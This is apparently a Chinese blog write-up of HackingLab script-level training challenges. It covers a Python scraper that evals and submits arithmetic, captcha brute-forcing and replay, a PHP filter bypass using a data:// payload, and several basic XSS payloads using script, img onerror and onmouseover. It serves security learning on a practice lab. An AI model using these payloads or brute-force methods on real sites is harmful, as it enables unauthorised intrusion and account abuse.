HackingLab 脚本关

目录

key又又找不到了

快速口算

这个题目是空的

怎么就是不弹出key呢?

逗比验证码第一期

逗比验证码第二期

逗比的验证码第三期(SESSION)

微笑一下就能过关了 

逗比的手机验证码

基情燃烧的岁月

验证码识别 

XSS基础关

XSS基础2:简单绕过 

XSS基础3:检测与构造 


key又又找不到了

直接抓包即可

快速口算

考察Python脚本编写能力

import requests
import re

url='http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s=requests.session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)

#通过正则得到爬取算式
num=re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]   # re.compile() 预编译正则

#print(re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)) #['6970*21290+48*(6970+21290)']
#print(re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]) #6970*21290+48*(6970+21290)

result=eval(num) #eval()函数来执行此算式
print(result)  #打印计算的结果
r=s.post(url,data={'v':eval(num)})  #使用requests中的post提交参数,通过键值对形式
print(r.text)

这个题目是空的

null 表示空,所以答案就是null 

怎么就是不弹出key呢?

考点是js代码,看了wp 是在源码里赋值变量a的代码到控制台

 但是没出来,一直false

逗比验证码第一期

 一个简单的数字密码爆破, 出来是1238

逗比验证码第二期

这题的意思就是验证码只能验证一次,来阻止爆破密码,把验证码值删除为空是可以继续爆破的 

 重放包可以出来

逗比的验证码第三期(SESSION)

有关session的 ,看解释是说验证码加密后储存在session,验证码图片被动更新, session 和 cookie 也就跟着变了

但是题解使用上一题的方式一样的能出来

微笑一下就能过关了 

源码有个a链接"?view-source"

<?php  
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) { 
        show_source(__FILE__); 
        exit(); 
    } 

    include('flag.php'); 

    $smile = 1;  

   if (!isset ($_GET['^_^'])) $smile = 0;  
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; 
    if ($smile) { 
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    }  
    if ($smile) { 
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'◡'●)") die($flag);  
    }  
?>  

代码审计
(1)对^_^进行赋值,但是值中不能有_
(2)不可以包含“.”、“%”、“0-9的数字”、“%”、“http”、“https”、“ftp”、“telnet”、“%”
(3)不可以存在文件,但文件的内容要是(●’◡’●)
3、这道题基本上就是在考PHP伪协议了,但是又过滤了http、https等协议,又不能存在文件,又要内容,基本上就是data了,利用query string会把一些特殊符号解析成“_”,基本上也就构造出payload:/?^.^=data://text/plain;charset=unicode,%28●%27◡%27●%29

看还有一种,只是把 _ url编码了(对^_^进行赋值,但是值中不能有_)

/index.php?^%5f^=data:,(●'◡'●)

逗比的手机验证码

很无脑地写出来了,
没有用什么技巧

基情燃烧的岁月

根据提示爆破验证码 

 

 登录

方法一样

验证码识别 

Tips:验证码依然是3位数

 看了wp是要同时搞手机验证码和图片验证码

码上大佬的方法

hackinglab-脚本关11-验证码识别:用python实现验证码识别_博客-CSDN博客

 hackinglab-脚本关11——验证码识别_Ifish的博客-CSDN博客

XSS基础关

直接

<script>alert(HackingLab)</script>

XSS基础2:简单绕过 

这道题过滤了 <script></script> 标签,所以我们可以输入其他标签。

输入 <img src=# οnerrοr=alert(HackingLab) />

XSS基础3:检测与构造 

看wp学习,说是过滤了很多东西,onmouseover没被过滤

可以构造 alert' onmouseover=alert(HackingLab)>

 有点不理解

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值